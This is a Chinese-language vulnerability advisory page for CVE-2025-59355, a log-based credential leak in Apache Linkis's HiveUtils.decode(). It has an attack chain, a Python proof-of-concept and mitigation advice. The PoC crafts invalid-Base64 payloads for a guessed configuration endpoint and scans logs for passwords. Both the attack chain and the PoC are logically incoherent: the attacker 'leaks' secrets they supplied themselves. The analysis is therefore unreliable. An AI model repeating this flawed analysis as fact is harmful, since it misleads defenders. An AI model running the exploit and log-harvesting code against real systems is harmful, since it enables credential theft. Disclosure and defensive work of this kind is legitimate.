IPBUF安全漏洞报告
English
CVE-2025-59355 CVSS 6.5 中危

CVE-2025-59355 Apache Linkis HiveUtils.decode()日志敏感信息泄露漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2025-59355
漏洞类型
信息泄露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Apache Linkis

相关标签

CVE-2025-59355Apache Linkis信息泄露日志注入敏感信息泄露Base64解码HiveUtilsHive Metastore配置注入中危漏洞

漏洞概述

CVE-2025-59355是Apache Linkis中的一个信息泄露漏洞。该漏洞存在于org.apache.linkis.metadata.util.HiveUtils.decode()方法中,当该方法执行Base64解码失败时,会将完整的输入参数字符串记录到日志文件中。如果输入参数包含敏感信息(如Hive Metastore密钥、数据库密码等),在解码失败的情况下,这些明文敏感信息会被写入日志,从而导致信息泄露。攻击者只需要提供包含敏感信息的无效Base64字符串作为配置值,即可利用此漏洞获取明文密码。该漏洞的CVSS评分为6.5,属于中等严重程度,主要影响Apache Linkis 1.0.0至1.7.0版本。

技术细节

漏洞根源在于HiveUtils.decode()方法的异常处理逻辑。当接收到无效的Base64字符串时,该方法会调用logger.error(str + "decode failed", e),其中str是完整的输入参数字符串。这意味着如果配置项(如hive-site.xml中的javax.jdo.option.ConnectionPassword)的值是一个无效的Base64字符串,该字符串的原始内容会被完整记录到日志中。攻击者只需构造一个包含敏感信息的字符串作为配置值,当解码失败时,这些敏感信息就会以明文形式出现在日志文件中。漏洞的触发条件包括:配置项值为无效Base64字符串,且日志文件被非授权用户读取。由于Base64解码失败概率较低,且需要日志文件被暴露,因此该漏洞的实际利用难度中等。修复方案已在Apache Linkis 1.8.0中实现,将日志输出改为logger.error("URL decode failed: {}", e.getMessage()),不再输出原始输入字符串。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先收集目标Apache Linkis系统的配置信息,识别使用Hive Metastore的配置项
STEP 2
步骤2: 构造恶意输入
攻击者构造包含敏感信息(如密码、密钥)的字符串,并使其成为无效的Base64格式
STEP 3
步骤3: 触发解码失败
通过API或配置接口将恶意构造的无效Base64字符串作为配置值提交,触发HiveUtils.decode()方法的解码失败
STEP 4
步骤4: 日志记录敏感信息
当Base64解码失败时,HiveUtils.decode()方法将完整的输入字符串记录到错误日志中,导致敏感信息以明文形式出现在日志文件
STEP 5
步骤5: 获取敏感信息
攻击者通过非法访问日志文件或利用日志泄露接口,读取包含明文密码或密钥的日志内容,从而获取目标系统的敏感凭据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import base64 import requests import logging # CVE-2025-59355 PoC - Apache Linkis HiveUtils.decode() Information Disclosure # This PoC demonstrates how sensitive information can be leaked through error logs def generate_malicious_input(sensitive_info): """ Generate an invalid Base64 string containing sensitive information. This will trigger the error logging in HiveUtils.decode() """ # Create a string that looks like Base64 but is invalid # Add special characters to ensure Base64 decoding fails invalid_base64 = base64.b64encode(sensitive_info.encode()).decode() # Modify to make it invalid Base64 invalid_base64 = invalid_base64[:-1] + '!@#$%' return invalid_base64 def exploit_cve_2025_59355(target_url, sensitive_data): """ Exploit CVE-2025-59355 by injecting sensitive data into configuration that will be logged when Base64 decoding fails """ # Step 1: Generate malicious input with sensitive information malicious_input = generate_malicious_input(sensitive_data) # Step 2: Send request with malicious configuration value # This would typically be done through Linkis metadata configuration API payload = { 'metadata': { 'hive.metastore.uris': malicious_input, 'javax.jdo.option.ConnectionPassword': malicious_input } } # Example API call (would need to be adjusted based on actual endpoint) # response = requests.post(f'{target_url}/api/rest_j/v1/metastore/config', json=payload) print(f"[*] Malicious Base64 input generated: {malicious_input}") print(f"[*] When decoding fails, '{sensitive_data}' will be logged in plaintext") return malicious_input def check_leaked_logs(log_file_path, sensitive_keywords): """ Check log files for leaked sensitive information """ leaked_data = [] try: with open(log_file_path, 'r') as f: for line in f: for keyword in sensitive_keywords: if keyword in line and 'decode failed' in line: leaked_data.append(line.strip()) except FileNotFoundError: print(f"[-] Log file not found: {log_file_path}") return leaked_data if __name__ == '__main__': # Example sensitive data to exploit target = 'http://target-apache-linkis:9001' sensitive_info = 'hive_metastore_password=Admin@123!' exploit_cve_2025_59355(target, sensitive_info) # Check for leaked data in logs # logs = check_leaked_logs('/path/to/linkis/logs/metadata.log', ['password', 'secret', 'key'])

影响范围

Apache Linkis 1.0.0
Apache Linkis 1.1.0
Apache Linkis 1.2.0
Apache Linkis 1.3.0
Apache Linkis 1.4.0
Apache Linkis 1.5.0
Apache Linkis 1.6.0
Apache Linkis 1.7.0

防御指南

临时缓解措施
临时缓解措施:1) 立即升级到Apache Linkis 1.8.0版本;2) 如果无法立即升级,严格限制日志文件的访问权限,仅允许管理员账户读取;3) 实施日志监控,检测日志中是否出现密码或密钥等敏感信息模式;4) 定期检查日志文件,搜索可能包含明文密码的记录;5) 使用日志脱敏工具对日志进行处理,过滤敏感信息;6) 考虑暂时禁用Hive Metastore配置功能,直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表